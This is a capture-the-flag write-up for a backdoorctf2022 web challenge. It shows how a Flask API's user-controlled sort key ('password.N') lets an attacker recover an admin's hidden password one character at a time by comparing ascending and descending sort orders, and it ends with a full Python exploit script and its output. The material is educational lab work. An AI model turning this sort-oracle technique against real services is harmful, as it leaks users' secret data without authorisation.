backdoorctf2022
web
Let us take look on what this application does from the provided source code.
The following is the API which was used to retrieve users from database.
@app.route('/api/data')
def data():
query = User.query
total_filtered = query.count()
col_index = request.args.get('order[0][column]')
flag=1
if col_index is None:
col_index=0
flag=0
col_name = request.args.get(f'columns[{col_index}][data]')
users=[user.to_dict() for user in query]
descending = request.args.get(f'order[0][dir]') == 'desc'
try:
if descending:
users=sorted(users,key=lambda x:helper(x,col_name),reverse=True)
else :
users=sorted(users,key=lambda x:helper(x,col_name),reverse=False)
except:
pass
start = request.args.get('start', type=int)
length = request.args.get('length', type=int)
users=users[start:start+length]
for user in users:
del user['password']
if flag==0:
random.shuffle(users)
return {
'data': users,
'recordsFiltered': total_filtered,
'recordsTotal': 500,
'draw': request.args.get('draw', type=int),
}
As you can see there are only a few meaningful parameters
order[0][column]
col_index
columns[{col_index}][data]
col_name
would be used to sort the users
via helper
functionorder[0][dir]
start
users
listlength
users
listdraw
draw
. Not that useful.This implies we can control how many users being returned from the API and how it could be sorted.
We should also check how users
are defined. The following code are ran on server start.
faker=Faker()
hexc=[]
for i in range(16):
hexc.append(hex(i)[2:])
for i in range(50):
random.shuffle(hexc)
passwords=[]
lucky=random.randint(100,400)
f=open('users.txt','w')
for i in range(500):
random.shuffle(hexc)
passwords.append("".join(hexc))
name=faker.name()
phone=faker.phone_number()
if phone[0]!='+':
phone='+'+phone
if i == lucky:
name='Adm1n_h3r3_UwU'
f.write(name+'||'+passwords[i]+'||'+faker.address().replace('\n',', ')+'||'+phone+'||'+faker.email())
f.write('\n')
f.close()
Basically this code provides the following information
hexc
variable is a list of 16 characters ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
Adm1n_h3r3_UwU
.hexc
variable with function random.shuffle
, so we can tell the password will be of length 16, with 16! of possible permutationSo after all that work, what is the flag for this challenge? What? You don't have any idea? Well, it was quite obvious to see that the password of that special user is the flag of this challenge.
/api/data
. Is there a way to obtain the password of the user Adm1n_h3r3_UwU
?Basically what we could do is that we can query the users and sort them with any column including password
. However, a password may have 16! permutation, thus it is not that helpful if we sort users with the entire password. We can do better.
Let us have a look how help
was defined.
def helper(data, prop, is_data=False):
pr = prop.split('.')
pr1= prop.split('.')
count=0
for p in pr:
if count == 2:
return None
count+=1
pr1=pr1[1:]
nextprop = '.'.join(pr1)
if hasattr(data, p):
if nextprop=='':
return getattr(data, p)
return helper(getattr(data, p), nextprop, True)
...snip...
elif type(data) == list or type(data) == tuple or type(data)==str:
try:
if nextprop=='':
return data[int(p)]
return helper(data[int(p)], nextprop, True)
except (ValueError, TypeError, IndexError):
return None
else:
return None
if is_data:
return data
else:
return None
What does this do? Let us ask ChatGPT.
This is a recursive function that takes in a data object, a property string, and an optional boolean flag and returns the value at the specified property of the data object if it exists, or None if it does not exist. The property string can include dots to indicate nested properties and the function will traverse the data object accordingly. The optional boolean flag is used to indicate whether the data object being passed to the function is the original data object or a nested data object.
This means we can sort users by user.password.__repr__
by setting the GET parameter columns[{col_index}][data]
to password.__repr__
. Is this useful? Not really. However, what happens if you provide an integer? What if we pass password.0
?
elif type(data) == list or type(data) == tuple or type(data)==str:
try:
if nextprop=='':
return data[int(p)]
return helper(data[int(p)], nextprop, True)
user.password
is a string and 0
is the last property, nextprop
will be ''
, then data[int(p)]
would be returned. This meansuser.password.0
will be interperted asuser.password[0]
. This implies we can sort users by each character of the password. With this information we can sort the users by each index of the password and guess each character.
First attempt, assuming that the password character set is evenly distributed, divide the users into 16 chunks and guess the admin password by checking which chunk the admin is at. Gets a479ce51ec083f27
. This was obviously wrong as there are duplicated characters.
Second attempt, I tried to sort the index of admin in user lists of each password index in ascending order and assign the smallest admin index to the first character in the sortedhexc
at the corresponding password index and so on. This yeilds a479be51dc083f26
which is also wrong, but is actually quite close to the correct password.
Third attempt, thanks to mystiz613 for observing the in-place property of the functionsorted(), we can know the exact character of each index of the password by observing index of users in ascending and descending orders.
In particular, the users are sorted in-place which would occupy the same storage as the original ones when there is a tie as the following code implied.
try:
if descending:
users=sorted(users,key=lambda x:helper(x,col_name),reverse=True)
else :
users=sorted(users,key=lambda x:helper(x,col_name),reverse=False)
Let us take a moment to appreciate the following screenshot from mystiz.
So basically we can determine the different chunks of users by comparing the list of sorted users from ascending order and descending order.
Consider the following list sorted by the first character of password ascendingly.
[
{"user":2,"password":"0213"},
{"user":7,"password":"0132"},
{"user":1,"password":"1230"},
{"user":4,"password":"1203"},
{"user":6,"password":"2103"},
{"user":5,"password":"2130"},
{"user":3,"password":"3120"},
{"user":8,"password":"3102"},
]
If we sorted the first character of password descendingly, we would get the following.
[
{"user":3,"password":"3120"},
{"user":8,"password":"3102"},
{"user":6,"password":"2103"},
{"user":5,"password":"2130"},
{"user":1,"password":"1230"},
{"user":4,"password":"1203"},
{"user":2,"password":"0213"},
{"user":7,"password":"0132"},
]
In our simplfied scenario, password is 4 character long with range from 0 to 3. In a large enough sample size (16 characters randomly distributed among 500 users), we can say it is very likely that every single character will appear at each index of the password.
There are some facts that we can tell from the two list:
We can tell what is the corresponding password character for users from their corresponding index in the user list. After we have the mapping, we just have to find the index of user Adm1n_h3r3_UwU
and determine the character of password at a particular index. Repeat the query from password.0
to password.15
to obtain the entire password of user Adm1n_h3r3_UwU
import requests
url = "http://hack.backdoor.infoseciitr.in:16052/api/data"
query_params = {
"columns[0][data]": "password.2",
"columns[0][passwords]": "",
"order[0][column]": "0",
"order[0][dir]": "AAA",
"start": "0",
"length": "500"
}
password_charset = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
def get_index_from_list(lst, name):
for i, v in enumerate(lst):
if(v["name"] == name):
return i
return None
idxs = []
temp_map = {}
password = ""
for i in range(16):
query_params["columns[0][data]"] = f"password.{i}"
query_params["order[0][dir]"] = "asce"
response = requests.get(url, params=query_params, verify=False)
if response.status_code == 200:
data = response.json()["data"]
admin_index = next((index for (index, d) in enumerate(data) if d["name"] == "Adm1n_h3r3_UwU"), None)
else:
print("Request failed with status code:", response.status_code)
query_params["order[0][dir]"] = "desc"
response = requests.get(url, params=query_params, verify=False)
if response.status_code == 200:
data_rev = response.json()["data"]
else:
print("Request failed with status code:", response.status_code)
a = [0]
b = [len(data_rev)]
j = 0
while True:
temp_rev_idx = get_index_from_list(data_rev,data[a[j]]["name"])
temp_len = len(data_rev[temp_rev_idx:b[j]])
temp_idx = a[j] + temp_len
a.append(temp_idx)
b.append(temp_rev_idx)
j += 1
if temp_idx >= 500:
break
for k,c in zip(range(0,len(a)-1),password_charset):
x = range(a[k],a[k+1])
if(admin_index in x):
password += c
print(f"password at idx {i} : {c}")
break
print(password)
The output of the script yields
a469ce51db083f27